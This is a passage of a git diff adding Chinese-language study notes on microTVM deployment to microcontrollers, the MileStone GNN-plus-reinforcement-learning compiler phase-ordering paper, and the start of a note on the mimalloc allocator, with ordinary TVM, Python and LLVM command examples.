Runtime(CRT)** 和 **Project API** 生成可烧录固件;同时可在设备上跑 **TVM RPC 服务**,让主机端驱动推理或自动调优。 + +它与 [TensorFlow Lite Micro](./tflite-micro-2021.md) 解决同一类 TinyML 问题,但路线不同:TFLM 强调**解释器 + FlatBuffer**;microTVM 强调**编译器优化 + 代码生成 + TVM 全栈复用**(AutoTVM / Meta Schedule、CMSIS-NN 等 BYOC 内核)。 + +## microTVM 到底是什么 + +根据 [官方文档](https://tvm.apache.org/docs/topic/microtvm/index.html),microTVM 由三块能力组成: + +| 组件 | 作用 | +|------|------| +| **编译器扩展** | 让 `tvm.relay.build` 能针对 `tvm.target.micro(...)` 生成可在 MCU 上链接的 C/LLVM 产物 | +| **设备端 RPC** | 在板子上跑精简 TVM RPC server,主机通过 UART 等通道下发算子、做 autotuning | +| **CRT 运行时** | 极简 C 运行时(`Runtime("crt")`),替代桌面 TVM 常用的动态 C++ Runtime | + +典型工作流(与官方 workflow 图一致)可记成: + +``` +训练/导出模型 (TFLite / ONNX / PyTorch→Relay) + → Relay 前端 + 量化/剪枝 + → relay.build(target=micro, runtime=crt, executor=aot|graph) + → Model Library Format (MLF) 目录/压缩包 + → Project API 套入 Zephyr / Arduino / CRT 模板工程 + → 交叉编译 + 烧录 + → Host-Driven(主机 Graph/AOT Executor 经 RPC 驱动)或 Standalone(设备自包含推理) +``` + +## 为什么需要 microTVM + +MCU 上的 ML 部署有三条常见路线,microTVM 站在「**编译器派**」: + +| 路线 | 代表 | 强项 | 弱项 | +|------|------|------|------| +| 解释器 | TFLite Micro | 换模型常只需换 Flash 里的数组 | 优化深度受解释调度限制 | +| 厂商 SDK | CMSIS-NN 手写调用 | 单算子极快 | 整图手工拼接成本高 | +| **编译器** | **microTVM** | 整图融合、调度搜索、多前端 | 工具链与板级集成更复杂 | + +microTVM 的价值在于:**复用 TVM 在服务器/GPU 上验证过的编译与调优基础设施**,把「为这颗 STM32 手写卷积循环」变成「声明 target + 跑 build + 选 executor」。 + +## 核心概念 + +### 1. Micro Target + +`TARGET = tvm.target.target.micro("host")` 可在 x86 上用 CRT **模拟** MCU 环境;真板子则传入板级 model 字符串,例如 Zephyr 的 `nucleo_f746zg`: + +```python +import tvm + +# 主机仿真:不连硬件也能跑通 pipeline +TARGET_HOST = tvm.target.target.micro("host") + +# 物理板:从 boards.json 读取 SoC 描述(Zephyr 模板) +# TARGET = tvm.target.target.micro(boards["nucleo_l4r5zi"]["model"]) +``` + +Target 告诉编译器:可用内存、是否禁用向量指令、交叉编译器前缀等——**同一 Relay 图,换 target 就换「为哪家烤箱写的菜谱」**。 + +### 2. CRT Runtime 与 Executor 选择 + +microTVM **应使用 C Runtime**,不要用桌面默认的 C++ Runtime: + +| 选项 | 含义 | 适用场景 | +|------|------|----------| +| `Runtime("crt", {"system-lib": True})` | 静态链接、函数注册表在编译期确定 | 几乎所有 microTVM 部署 | +| `Executor("aot")` | Ahead-of-Time:图编译成单个 `run()`,**预先规划内存** | 部署首选;比 Graph 少运行时解析 JSON | +| `Executor("graph", {"link-params": True})` | 保留 `graph.json`,由 GraphExecutor 调度 | Host-Driven 实验、与 AutoTVM 集成 | + +设计文档指出:**GraphExecutor 的 Standalone 模式内存效率一般**;生产更推荐 **AOT + 预分配 workspace**。 + +常见 Pass 配置(MCU 无 SIMD 时要关向量化): + +```python +with tvm.transform.PassContext(opt_level=3, config={"tir.disable_vectorize": True}): + module = tvm.relay.build( + relay_mod, + target=TARGET, + params=params, + runtime=RUNTIME, + executor=EXECUTOR, + ) +``` + +### 3. Model Library Format (MLF) + +`relay.build` 返回的 `(graph_json, lib, params)` 三元组会被打包成 **MLF** 标准目录,便于 CI 与 Project API 消费。典型结构包括: + +- `codegen/target/src/*.c` — 算子与元数据 C 源码 +- `parameters/*.params` — Relay 权重 +- `runtime-config/aot/` 或 `graph/graph.json` — 执行器配置 +- `metadata.json` — 目标、runtime、外部依赖(如 standalone CRT 头文件列表) + +MLF 是「**中央厨房出库的半成品箱**」:不关心你最后用的是 Zephyr 还是 Arduino,箱内格式统一。 + +### 4. Host-Driven vs Standalone + +| 模式 | 推理控制端 | 固件内含 | 典型用途 | +|------|------------|----------|----------| +| **Host-Driven** | 主机上的 Graph/AOT Executor | CRT + RPC Server | 开发调试、AutoTVM 调优、快速迭代 | +| **Standalone** | 设备 `main()` 直接调 `run()` | CRT + 编译进设备的执行逻辑 | 量产后脱机运行 | + +Host-Driven 时,主机通过 UART/USB 发 RPC:**「把这块输入 tensor 拷进去,跑第 7 号算子」**——设备像远程协处理器。Standalone 则把 AOT 生成的 `run()` 和权重全部链进 Flash,上电即推理。 + +### 5. Project API 与模板工程 + +裸 `relay.build` 产物还不能直接烧录。microTVM 用 **Project API** 把 MLF 注入平台模板: + +- `crt` / `host` — x86 仿真 +- `zephyr` — STM32、nRF 等 Zephyr 板 +- `arduino` — Nano 33 BLE 等 + +模板根目录有 `microtvm_api_server.py`,负责 `generate_project` → `build` → `flash` → 暴露 `transport()` 给 `tvm.micro.Session`。 + +### 6. TVMC Micro 命令行 + +不想写 Python 时,可用 **TVMC Micro** 一条龙(需先 `tvmc compile` 出 MLF): + +```bash +# 生成 Zephyr 工程 +tvmc micro create project mlf.tar zephyr \ + --project-option zephyr_board=qemu_x86 + +# 编译固件 +tvmc micro build project zephyr --project-option zephyr_board=qemu_x86 + +# 烧录后在主机侧跑推理 +tvmc run --device micro project/model.tar --device-key micro0 +``` + +适合 CI 里「编译 → 仿真板跑 golden」的流水线。 + +## 代码示例一:TFLite → Relay → AOT → Host-Driven 推理 + +下列流程浓缩自官方 [microTVM Host-Driven AoT](https://tvm.apache.org/docs/how_to/work_with_microtvm/micro_aot.html) 教程:在 `host` target 上用 CRT 跑通,再换板级 target 即可迁移。 + +```python +import json +import pathlib +import numpy as np +import tvm +from tvm import relay +from tvm.relay.backend import Executor, Runtime + +# 1. 导入 TFLite(也可用 ONNX / PyTorch) +tflite_model = open("mobilenet_v1_0.25_128_quant.tflite", "rb").read() +shape_dict = {"input": [1, 128, 128, 3]} +relay_mod, params = relay.frontend.from_tflite(tflite_model, shape_dict=shape_dict) + +# 2. micro target + CRT + AOT +TARGET = tvm.target.target.micro("host") +RUNTIME = Runtime("crt", {"system-lib": True}) +EXECUTOR = Executor("aot") + +with tvm.transform.PassContext(opt_level=3, config={"tir.disable_vectorize": True}): + module = tvm.relay.build( + relay_mod, target=TARGET, params=params, runtime=RUNTIME, executor=EXECUTOR + ) + +# 3. 用 Project API 生成可构建工程 +template = pathlib.Path(tvm.micro.get_microtvm_template_projects("crt")) +project_dir = pathlib.Path("/tmp/microtvm_aot_project") +project = tvm.micro.generate_project( + template, + module, + project_dir, + {"project_type": "host_driven"}, +) + +# 4. 构建并通过 Session 跑 AOT Executor +project.build() +with tvm.micro.Session(project.transport()) as session: + aot = tvm.runtime.executor.aot_executor.AotModule(session.create_aot_executor()) + sample = np.load("sample_input.npy") + aot.get_input("input").copyfrom(sample) + aot.run() + logits = aot.get_output(0).numpy() + print("predicted class:", int(np.argmax(logits))) +``` + +要点:**AOT 不在运行时解析 graph.json**,workspace 在编译期规划,适合 RAM 紧张的 MCU。 + +## 代码示例二:Graph Executor + Zephyr 物理板 + +Host-Driven Graph 模式更接近「主机当导演、设备当演员」,与 AutoTVM 历史集成最深。下面展示 Session + `create_local_graph_executor` 形态(摘自 [TFLite microTVM 教程](https://tvm.apache.org/docs/how_to/work_with_microtvm/micro_tflite.html) 思路): + +```python +import numpy as np +import tvm +from tvm import relay +from tvm.relay.backend import Executor, Runtime + +# 极简 sin 回归模型(MCU 友好) +def build_sin_model(): + x = relay.var("input", shape=(1,), dtype="float32") + y = relay.nn.dense(relay.reshape(x, (1, 1)), relay.const(np.zeros((1, 8), "float32"))) + y = relay.nn.relu(y) + y = relay.nn.dense(y, relay.const(np.zeros((8, 1), "float32"))) + mod = tvm.IRModule.from_expr(relay.Function([x], y)) + params = {} # 实际应加载训练权重 + return mod, params + +relay_mod, params = build_sin_model() +TARGET = tvm.target.target.micro("nucleo_f746zg") # Zephyr 板级 model +RUNTIME = Runtime("crt", {"system-lib": True}) +EXECUTOR = Executor("graph", {"link-params": True}) + +with tvm.transform.PassContext(opt_level=3, config={"tir.disable_vectorize": True}): + module = tvm.relay.build( + relay_mod, target=TARGET, params=params, runtime=RUNTIME, executor=EXECUTOR + ) + +import pathlib +zephyr_tpl = pathlib.Path(tvm.micro.get_microtvm_template_projects("zephyr")) +project = tvm.micro.generate_project( + zephyr_tpl, + module, + pathlib.Path("/tmp/zephyr_sin"), + {"project_type": "host_driven", "zephyr_board": "nucleo_f746zg"}, +) +project.build() +project.flash() + +with tvm.micro.Session(project.transport()) as session: + graph_mod = tvm.micro.create_local_graph_executor( + module.get_graph_json(), + session.get_system_lib(), + session.device, + ) + graph_mod.set_input(**module.get_params()) + graph_mod.set_input("input", tvm.nd.array(np.array([0.5], dtype="float32"))) + graph_mod.run() + print("sin(0.5) ≈", graph_mod.get_output(0).numpy()) +``` + +`create_local_graph_executor` 的「local」指图调度在**主机**,重算子在**设备**执行——调试时可在 PC 上打断点看 RPC 轨迹。 + +## 自动调优与 CMSIS-NN + +microTVM 一大差异化能力是 **AutoTVM / Meta Schedule**:在真实板子(或 QEMU)上测量算子耗时,搜索 tile size、unroll 等 schedule。 + +- 设备端跑 RPC server,主机发 `tvm.contrib.autotvm` 测量任务。 +- 对 Arm Cortex-M,可启用 **CMSIS-NN BYOC**,让特定算子落到 hand-tuned 汇编内核,再由 TVM 做图级融合。 + +这与「只换 `.tflite` 数组」的 TFLM 不同:**同一模型可针对每块板重新调 schedule**,代价是离线调优时间更长。 + +## 支持硬件与开发环境 + +官方 CI 主要覆盖 **Cortex-M + Zephyr RTOS**,但不限于 Zephyr,也面向 **RISC-V** 等架构。文档列出的参考板包括: + +- STM32 Nucleo-F746ZG / STM32F746 Discovery +- nRF5340 DK + +无物理板时可: + +1. 用 `target.micro("host")` + CRT 在 x86 仿真; +2. 用 Zephyr `qemu_x86` / `qemu_cortex_m3` 目标; +3. 用 **microTVM Reference VM**(Vagrant)预装 Zephyr 依赖,复现 bug 与教程。 + +构建 TVM 时需打开 CMake 选项(示例): + +```cmake +set(USE_MICRO ON) +set(USE_MICRO_STANDALONE_RUNTIME ON) +``` + +## microTVM vs TFLite Micro:怎么选 + +| 维度 | microTVM | TFLite Micro | +|------|----------|--------------| +| 模型入口 | Relay 多前端(TFLite/ONNX/PyTorch…) | 主要 `.tflite` | +| 执行模型 | AOT/Graph 编译 + CRT | 解释器 + FlatBuffer | +| 调优 | AutoTVM/Meta Schedule + BYOC | 厂商内核替换(如 CMSIS-NN) | +| 上手曲线 | 陡(需懂 TVM target/MLF/Project API) | 平缓(MicroInterpreter API 固定) | +| 生态成熟度 | 持续演进,API 变动需跟版本 | 产品化案例多(Google/Arm 文档全) | + +实践上常见组合:**训练导出 TFLite → TVM 导入 Relay → microTVM 编译 + CMSIS-NN**,兼得 TFLite 工具链与 TVM 调度优势。 + +## 常见坑与排错 + +1. **忘记 `tir.disable_vectorize`**:Cortex-M 无 NEON 时向量化可能生成非法指令或更大代码体积。 +2. **Runtime 用错**:micro 上误用默认 C++ Runtime 会导致链接失败或体积暴涨。 +3. **Arena / workspace 不足**:AOT metadata 会声明 workspace 大小;Standalone 需在 `main.c` 里分配足够 `uint8_t workspace[]`。 +4. **Zephyr 版本不匹配**:社区示例常钉死某分支(如 2.7),升级前查 TVM 发行说明。 +5. **Host-Driven 串口权限**:Linux 上需将用户加入 `dialout`,VM 需 USB passthrough(Reference VM 文档强调)。 + +## 延伸阅读 + +- [microTVM 主题页](https://tvm.apache.org/docs/topic/microtvm/index.html) — 总览与教程索引 +- [microTVM Design Document](https://tvm.apache.org/docs/arch/microtvm_design.html) — Host-Driven / Standalone 固件组成 +- [Model Library Format RFC](https://discuss.tvm.apache.org/t/rfc-tvm-model-library-format/9121) — MLF 目录规范 +- [microTVM TFLite 教程](https://tvm.apache.org/docs/how_to/work_with_microtvm/micro_tflite.html) +- [TVMC Micro CLI](https://tvm.apache.org/docs/how_to/work_with_microtvm/micro_tvmc.html) +- 对比阅读:[TensorFlow Lite Micro 论文笔记](./tflite-micro-2021.md)、[Zephyr RTOS 概览](./zephyr-rtos-overview.md) + +## 一句话总结 + +**microTVM = 在「只有 C 库、没有 OS」的 MCU 上,用 TVM 编译器把神经网络变成可烧录的 C 固件,并可选地通过 RPC 做主机驱动推理与自动调优**——它不是又一个小解释器,而是把「编译 + 调优」那套服务器级能力,压缩进 TinyML 的厨房流水线里。 diff --git a/src/content/docs/papers/milestone-phase-order.md b/src/content/docs/papers/milestone-phase-order.md new file mode 100644 index 000000000..55128cba2 --- /dev/null +++ b/src/content/docs/papers/milestone-phase-order.md @@ -0,0 +1,343 @@ +--- +title: MileStone — 多目标编译器 Phase Ordering(GNN + RL)零基础学习笔记 +来源: https://arxiv.org/abs/2605.23435 +日期: 2026-06-13 +分类: 编程语言 +子分类: 类型与 PL 理论 +provenance: pipeline-v3 +--- + +## 从日常类比开始:做菜工序 vs 固定菜谱 + +想象你在经营一家**中央厨房**,要把同一批食材做成成品菜。厨房里有几十种工序:切配、腌制、焯水、爆炒、蒸、烤、装盘……每种工序都会改变食材的状态,而且**先后顺序**极其重要——先腌后切和先切后腌,口感完全不同;过度爆炒会让体积膨胀(代码变大),过度蒸制会耗电但省火工(能耗与时间的权衡)。 + +传统编译器给你的是**固定套餐**: + +- `-O1`:家常快手菜 +- `-O2`:标准宴席 +- `-O3`:追求极致速度,往往牺牲体积和能耗 + +这三档只是巨大搜索空间里的**三个点**。真实场景更复杂:手机 App 要控制安装包体积;IoT 设备电池只有 200 mAh,必须在**能耗上限**内尽量快;数据中心又要吞吐优先。你很少只关心单一指标。 + +**Phase Ordering Problem(阶段排序问题)** 就是:给定一堆 LLVM/GCC 优化 pass(内联、循环展开、向量化、死代码消除……),找到**一串顺序**,让最终程序在多个目标上同时表现良好。 + +穷举所有 pass 排列?组合爆炸,不现实。每个候选序列都真机跑一遍 profiling?太慢。 + +**MileStone**(Shahid Beheshti University,[arXiv:2605.23435](https://arxiv.org/abs/2605.23435),PLDI 2026)的做法像雇了两位助手: + +1. **品菜师(GNN)**:看一眼当前「食材关系图」(LLVM IR 的控制流+数据流图 CDFG),不用真下锅,就能**预测**做完某套工序后的执行时间、代码体积、能耗。 +2. **排班经理(RL)**:在品菜师反馈下,逐步决定每个节点该偏向「缩体积」还是「抢速度」,并在用户给的**能耗预算**内探索 Pareto 最优折中。 + +论文摘要报告:在相同能耗预算下,执行时间最多可降低约 **45%**;且无需穷举搜索或动态 profiling 也能找到多目标 Pareto 前沿。 + +一句话:**用图神经网络当廉价性能预言机,用强化学习当多目标排程器,解决编译器 pass 顺序怎么排。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 论文 | MileStone: A Multi-Objective Compiler Phase Ordering Framework for Graph-based IR-Level Optimization | +| 作者 | Amirhossein Sadr, Mehran Alidoost Nia | +| 机构 | Shahid Beheshti University(伊朗) | +| 发表 | PLDI 2026(ACM SIGPLAN) | +| arXiv | [2605.23435](https://arxiv.org/abs/2605.23435) | +| 关键词 | Compiler Optimization, Multi-Objective Optimization, Phase Ordering, GNN, RL | +| 目标平台 | LLVM IR 层(前端编译后提取 CDFG) | +| 优化指标 | 执行时间(ExecTime)、代码体积(CodeSize)、能耗(Energy) | + +名字 **MileStone** 有两层含义:流水线被拆成「图提取 → 数据库构建 → 预测 → 多目标探索」等里程碑;同时在执行时间/体积/能耗的 trade-off 空间里,标出 Pareto 最优的「里程碑点」。 + +--- + +## 为什么重要 + +### 1. `-O3` 不是万能答案 + +`-O3` 会激进内联、循环展开、自动向量化——通常更快,但**代码膨胀**、**功耗上升**。嵌入式、边缘 AI、电池设备往往不能接受。固定优化级别无法表达「在 3J 能耗以内尽量快」这类**带约束的多目标**需求。 + +### 2. 单目标学习方法不够用 + +已有工作(Autophase、CompilerGym、MLComp 等)多用 RL 或监督学习找 pass 序列,但常见局限: + +- 只优化**执行时间**或**代码大小**之一 +- 依赖**动态 profiling**(真编译+真跑),样本效率低 +- 把多目标硬塞进加权标量和,丢失 Pareto 前沿多样性 + +MileStone 把问题形式化为**约束多目标优化(CMOO)**,显式探索 Pareto 前沿。 + +### 3. GNN + RL 分工明确 + +| 组件 | 角色 | 类比 | +|------|------|------| +| GNNPP | 静态预测三个指标 | 品菜师:看菜谱结构猜结果 | +| RLMOE | 探索 pass/指令级决策 | 排班经理:试不同工序组合 | +| RLDBG | 自进化数据库 | 配方档案室:越积越准 | +| GG | LLVM IR → CDFG | 把厨房现状画成关系图 | + +GNN 提供**廉价反馈**,RL 不必每步都真编译,训练收敛更快。 + +--- + +## 核心概念 + +### 1. Compiler Pass 与 Phase Ordering + +现代编译器(LLVM、GCC)把优化拆成可插拔的 **pass**:`inline`、`loop-unroll`、`vectorize`、`dce`……每个 pass 读写 IR。Pass **顺序**影响最终效果,且 pass 之间可能互相增强或抵消(例如先 DCE 再 inline vs 反过来)。 + +搜索空间大小随 pass 数量呈阶乘级增长;`-O1/-O2/-O3` 只是人工挑出的几条路径。 + +### 2. CDFG(Control and Data Flow Graph) + +MileStone 不直接喂源代码文本,而是从 **LLVM IR** 提取 **CDFG**: + +- **节点**:基本块节点 + 指令节点(`alloca`、`load`、`store`、`add`、`call` 等) +- **边**:控制流边 + 数据依赖边 + +这样程序结构(循环、分支、调用关系)和语义(算术、内存操作)都编码进图里,适合 GNN 做 message passing。 + +### 3. GNNPP:图卷积性能预测器 + +每个节点用 **10 维二元特征向量**: + +- 第 1 维:基本块 vs 指令 +- 后 9 维:常见 LLVM opcode 的 one-hot(`alloca/load/store/add/sub/mul/div/icmp/call`) + +多层 **GCN(Graph Convolutional Network)** 做邻居聚合,mean pooling 得到图级 embedding,再接三层全连接 + LeakyReLU,分别预测 **CodeSize、Energy、ExecTime**(三个结构相同、权重独立的 GNN)。 + +推理时三个 embedding 各 64 维,拼接成 **192 维** 向量,再拼 CDFG 元数据(节点数、边数、乘法次数等),作为 RL 的状态输入。 + +### 4. RLMOE:强化学习多目标探索器 + +把 phase ordering 建模为 **MDP**: + +| MDP 元素 | MileStone 中的含义 | +|----------|-------------------| +| 状态 \(s_t\) | 部分赋值的 CDFG + 192 维 embedding + 当前节点 ID + 能耗约束 | +| 动作 \(a_t\) | 对当前节点选择优化取向(如偏代码大小 vs 偏执行时间) | +| 转移 | 逐步为 CDFG 节点分配 directive,直到完整方案 | +| 奖励 \(r_t\) | 中间步为 0;**最后一步**用 GNN 预测值算综合奖励 | + +奖励与优化目标(论文公式 2、4)对齐。在用户指定能耗目标 \(Energy_{target}\) 下,最小化: + +\[ +U(\text{CodeSize}, \text{ExecTime} \mid Energy_{target}) = \mu \frac{\text{CodeSize}}{q} + (1-\mu)\,\text{ExecTime} +\] + +终端奖励形如: + +\[ +r_T = -\alpha \cdot \text{CodeSize}_p - \beta \cdot |Energy_t - Energy_p| - \lambda \cdot \text{ExecTime}_p +\] + +其中 \(\alpha = \mu/q\),\(\lambda = 1-\mu\),\(p\) 表示 GNN 预测值。算法可用 **DQN** 或 **PPO**。 + +### 5. RLDBG:自进化数据库 + +闭环训练的数据来源: + +1. RLMOE 探索大量 pass 配置 +2. Evaluator **真编译 + profiling** 得到 ground truth +3. 存入数据库:IR、CDFG、实测指标 +4. 用这些数据**监督训练 GNNPP** +5. 更准的 GNN → 更快的 RL 反馈 → 更多高质量样本 + +论文强调捕获 **Pareto 高效** 结果,减少重复 profiling。 + +### 6. Pareto 最优与能耗约束 + +两个方案 A、B: + +- A:1.2 s,5 J +- B:1.4 s,2 J + +对电池供电 MCU,B 可能更优——尽管更慢。MileStone 在**用户能耗约束**下找非支配解集(Pareto front),而不是单一「最快」答案。 + +--- + +## 四模块架构(工作流) + +```text +LLVM 前端 IR + │ + ▼ +┌─────────────┐ +│ GG │ Graph Generator:提取 CDFG +└──────┬──────┘ + │ + ├──────────────────────────────────┐ + ▼ ▼ +┌─────────────┐ ┌─────────────┐ +│ RLDBG │◄──探索/标注───────│ RLMOE │ +│ 自进化 DB │ │ RL 探索器 │ +└──────┬──────┘ └──────▲──────┘ + │ 训练数据 │ 预测反馈 + ▼ │ +┌─────────────┐──────────────────────────┘ +│ GNNPP │ 三头 GNN 预测 Size/Energy/Time +└─────────────┘ +``` + +**训练阶段**:RLDBG 驱动探索 → 标注 CDFG → 训练 GNNPP → GNN 加速 RLMOE 策略学习。 + +**推理阶段**:新程序 → GG 出图 → GNNPP 嵌入 → RLMOE 在约束下输出 pass 策略 → Pareto 里程碑解。 + +--- + +## 代码示例 1:从 LLVM IR 概念构造 CDFG 节点特征 + +下面用 Python **伪代码**说明论文中 10 维节点特征如何编码(便于理解 GNN 输入,非官方实现): + +```python +# MileStone GNNPP 节点特征:10 维二元向量 +OPCODES = ["alloca", "load", "store", "add", "sub", "mul", "div", "icmp", "call"] + +def node_features(node) -> list[int]: + """将 CDFG 节点编码为 10 维特征(论文 §4.2.1)""" + feats = [0] * 10 + if node.kind == "basic_block": + feats[0] = 1 # 基本块节点 + return feats + # 指令节点 + feats[0] = 0 + if node.opcode in OPCODES: + feats[1 + OPCODES.index(node.opcode)] = 1 + return feats + +# 示例:一条 store 指令节点 +store_node = {"kind": "instruction", "opcode": "store"} +print(node_features(store_node)) +# [0, 0, 0, 1, 0, 0, 0, 0, 0, 0] → store 在索引 3(1+2) + +# 示例:基本块入口 +bb_node = {"kind": "basic_block"} +print(node_features(bb_node)) +# [1, 0, 0, 0, 0, 0, 0, 0, 0, 0] +``` + +要点:结构(块 vs 指令)和语义(opcode)分开编码,让 GCN 能区分控制流骨架与计算操作。 + +--- + +## 代码示例 2:终端奖励与多目标标量(对齐论文公式) + +```python +def milestone_terminal_reward( + code_size_p: float, # GNN 预测代码体积 + exec_time_p: float, # GNN 预测执行时间 + energy_p: float, # GNN 预测能耗 + energy_target: float, # 用户能耗预算 + mu: float = 0.5, # 代码体积 vs 时间的权重 + q: int = 1000, # 体积量纲缩放 + beta: float = 1.0, # 能耗偏差惩罚 +) -> float: + """ + 对应 MileStone 公式 (2)(4) 的终端奖励(RL 只在最后一步非零)。 + RL 最大化累计奖励 → 等价于最小化加权目标 + 能耗约束偏差。 + """ + alpha = mu / q + lam = 1.0 - mu + penalty_energy = abs(energy_target - energy_p) + return -( + alpha * code_size_p + + lam * exec_time_p + + beta * penalty_energy + ) + +# 场景:IoT 设备能耗预算 2J,更在意能耗达标 +r = milestone_terminal_reward( + code_size_p=12000, + exec_time_p=1.4, + energy_p=1.9, + energy_target=2.0, + mu=0.3, # 更偏执行时间 + beta=2.0, # 加重能耗约束 +) +print(f"terminal reward: {r:.4f}") +``` + +调 `mu` 可在「缩体积」与「抢速度」间滑动;调 `beta` 可强化「别超能耗预算」。RLMOE 通过在不同约束下探索,拼凑 Pareto 前沿上的多个里程碑点。 + +--- + +## 代码示例 3:用 clang 理解「pass 顺序」实验入口(可选动手) + +虽 MileStone 未开源完整框架,理解 phase ordering 可从手动试 LLVM pass 管道开始: + +```bash +# 查看默认 -O3 会跑哪些 pass(LLVM 17+) +opt -passes='default' -disable-output hello.bc -print-passes 2>&1 | head + +# 自定义 pass 顺序:先内联再循环展开(顺序不同结果可能不同) +opt -passes='inline,function(loop-unroll)' hello.bc -o tuned.bc + +# 对比代码体积与后续链接产物 +clang tuned.bc -o tuned -O0 +size tuned +``` + +MileStone 的价值在于:不用你对每个 benchmark 手工试几百条 `opt -passes=...`,而是由 RL 在 GNN 预测引导下自动搜索,且同时看时间/体积/能耗。 + +--- + +## 实验结论(论文摘要级) + +论文在标准 benchmark 上报告: + +- 能找到**强 Pareto 最优**解,优于固定 LLVM 优化级别及相关技术 +- 在**相同能耗预算**下,执行时间最多降低约 **45%** +- 比依赖固定启发式或单目标学习的方法,更能**准确满足能耗约束** + +(具体 benchmark 名称、基线对比细节见论文 §5 Experimental Results。) + +--- + +## 与相关工作的关系 + +| 方向 | 代表工作 | 与 MileStone 的差异 | +|------|----------|---------------------| +| RL + 编译 pass | Autophase (Haj-Ali et al.) | Autophase 偏 HLS/单目标;MileStone 强调 LLVM IR + **三目标** | +| GNN + pass 学习 | CompilerGym, ProGraML | 多依赖 profiling 奖励;MileStone 用 GNN **静态预测** 减 profiling | +| 多目标 pass 序列 | MLComp | 同样 RL+ML 估计,MileStone 强调 **CDFG + 自进化 DB + 能耗约束 Pareto** | +| 固定优化级别 | `-O1/-O2/-O3` | 只是搜索空间中极少数预设点 | + +读 MileStone 的最佳搭档:先理解 LLVM pass 管线,再看 **Autophase**(RL 排 pass 的开山)、**ProGraML**(程序图表示)、**MLComp**(多目标 pass 序列 + ML 性能估计)。 + +--- + +## 局限与开放问题 + +1. **GNN 预测误差**:RL 策略受 surrogate 质量上限;极端未见过的 IR 结构可能预测漂移。 +2. **训练成本**:RLDBG 仍需一定量真 profiling 建库;冷启动程序域与目标 CPU 时要重新积累数据。 +3. **动作空间抽象**:论文将决策建模为对 CDFG 节点赋 directive,与工业界完整 pass pipeline 的映射关系需读原文细节。 +4. **泛化到其他后端**:目前围绕 LLVM IR/CDFG;GPU kernel 编译器(XLA、TVM)的 phase ordering 是平行问题,架构可借鉴但图特征需重做。 + +--- + +## 零基础自检清单 + +读完本篇,你应该能回答: + +- [ ] 什么是 **phase ordering problem**?为什么 `-O3` 不能覆盖所有场景? +- [ ] **CDFG** 的节点和边分别表示什么? +- [ ] **GNNPP** 和 **RLMOE** 各解决什么子问题?为何要强绑定? +- [ ] **RLDBG** 在闭环里扮演什么角色? +- [ ] 论文中 **Pareto 最优** 与 **能耗约束** 如何同时体现? +- [ ] 终端奖励里 \(\mu\)、\(q\)、\(\beta\) 各控制什么权衡? + +--- + +## 延伸阅读 + +- 论文 HTML:[arXiv:2605.23435](https://arxiv.org/html/2605.23435v1) +- LLVM Pass 基础设施:[LLVM Passes](https://llvm.org/docs/Passes.html) +- Autophase(RL 排 HLS pass):[MLSys 2020](https://proceedings.mlsys.org/paper/2020/file/5b47430e24a5a1f9fe21f0e8eb814131-Paper.pdf) +- ProGraML(程序图表示):Cummins et al., 2021 +- MLComp(多目标 pass + ML 估计):[arXiv:2012.05270](https://arxiv.org/abs/2012.05270) + +--- + +## 一句话带走 + +**MileStone 把编译器优化排程变成「看图预测 + 强化学习寻 Pareto 前沿」:GNN 当廉价品菜师,RL 当听预算的排班经理,自进化数据库让两者越配合越准——在能耗约束下,比死磕 `-O3` 更能找到适合你设备的那道菜。** diff --git a/src/content/docs/papers/mimalloc-leijen-2019.md b/src/content/docs/papers/mimalloc-leijen-2019.md new file mode 100644 index 000000000..903d816be --- /dev/null +++ b/src/content/docs/papers/mimalloc-leijen-2019.md @@ -0,0 +1,268 @@ +--- +title: Mimalloc(Leijen 2019)— 用「分片空闲链表」让 malloc 又快又稳 +来源: https://www.microsoft.com/en-us/research/uploads/prod/2019/06/mimalloc-tr-v1.pdf +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 是什么 + +**mimalloc**(读作 *me-malloc*)是微软研究院 Daan Leijen、Ben Zorn、Leonardo de Moura 在 2019 年 APLAS 上发表的通用内存分配器(技术报告 MSR-TR-2019-18)。它最初为 **Lean** 与 **Koka** 两个引用计数函数式语言的运行时设计,后来成为 Windows、Firefox、CPython(可选)、Rust 生态里常见的 `malloc` 替代品。 + +日常类比:传统分配器像一家大超市的**中央退货台**——所有尺码的衣服(空闲块)混在一个大筐里,谁退货、谁拿货都要挤同一柜台。多线程时柜台前排长队,而且你刚买的衬衫和三个月前退的袜子可能被塞在一起,**cache locality** 很差。 + +mimalloc 的做法是: + +- 把退货筐按**货架区域**拆开(**free list sharding**:每个 *mimalloc page* 一条链,通常 64 KiB、只放同一 size class); +- 每个货架再摆**三个小筐**(**multi-sharding**:本线程释放、跨线程释放、已分配追踪各一条链); +- 店员按固定节奏偶尔离开「秒结账通道」做盘点(**temporal cadence**:延迟释放、跨线程回收、向 OS 还页)。 + +你写的 `malloc(32)` 多数时候只是:在当前线程的 mimalloc page 上从**本线程空闲链**弹出一个块——**无锁、无全局 size class 大链、争用天然分散**。 + +## 为什么重要 + +不理解这篇论文,下面几件事很难讲清楚: + +- 为什么 mimalloc 在 Redis 上比 tcmalloc 快约 **7%**、比 jemalloc 快约 **14%**(论文 benchmark),且在一组顺序/并发测试里曲线更「平」 +- 为什么 **Swift / Python / Lean** 这类大量小对象 + 引用计数的运行时,会专门和分配器「谈合作」(延迟减引用、内存压力时唤醒) +- 为什么现代分配器都在谈 **sharding**——jemalloc 的 arena、tcmalloc 的 per-CPU cache、mimalloc 的 page-local 三链表,是同一问题的不同答案 +- 为什么换 `LD_PRELOAD=libmimalloc.so` 有时比改业务代码还管用——热路径在分配器里 + +论文动机很具体:Lean/Koka 运行时**海量短命小分配** + **引用计数**,现有 jemalloc 仍不够快;还需要在分配器里挂钩 **deferred free**(大结构析构时把减引用推迟到「有内存压力」的时刻),避免长时间 STW。 + +## 核心概念 + +### 1. mimalloc page:比 OS 页更小的「货架」 + +在 64 位系统上,一个 **mimalloc page** 通常 **64 KiB**,内部只服务**一个 size class** 的块。这与 OS 的 4 KiB 页不同——它是分配器自己的管理粒度。 + +好处: + +| 维度 | 全局 per-size-class 一条链 | mimalloc page 局部链 | +|------|---------------------------|-------------------| +| 局部性 | 释放分散,下次分配可能很远 | 在同 page 内填满再换页,**时间上相邻的分配地址也相邻** | +| 碎片 | 大链混着各种生命周期的块 | page 空了就整块还给 OS(**eager purging**) | +| 争用 | 所有线程抢同一条链头 | 数千条小链,碰撞概率像「随机散列」 | + +### 2. Free list sharding(空闲链表分片) + +经典 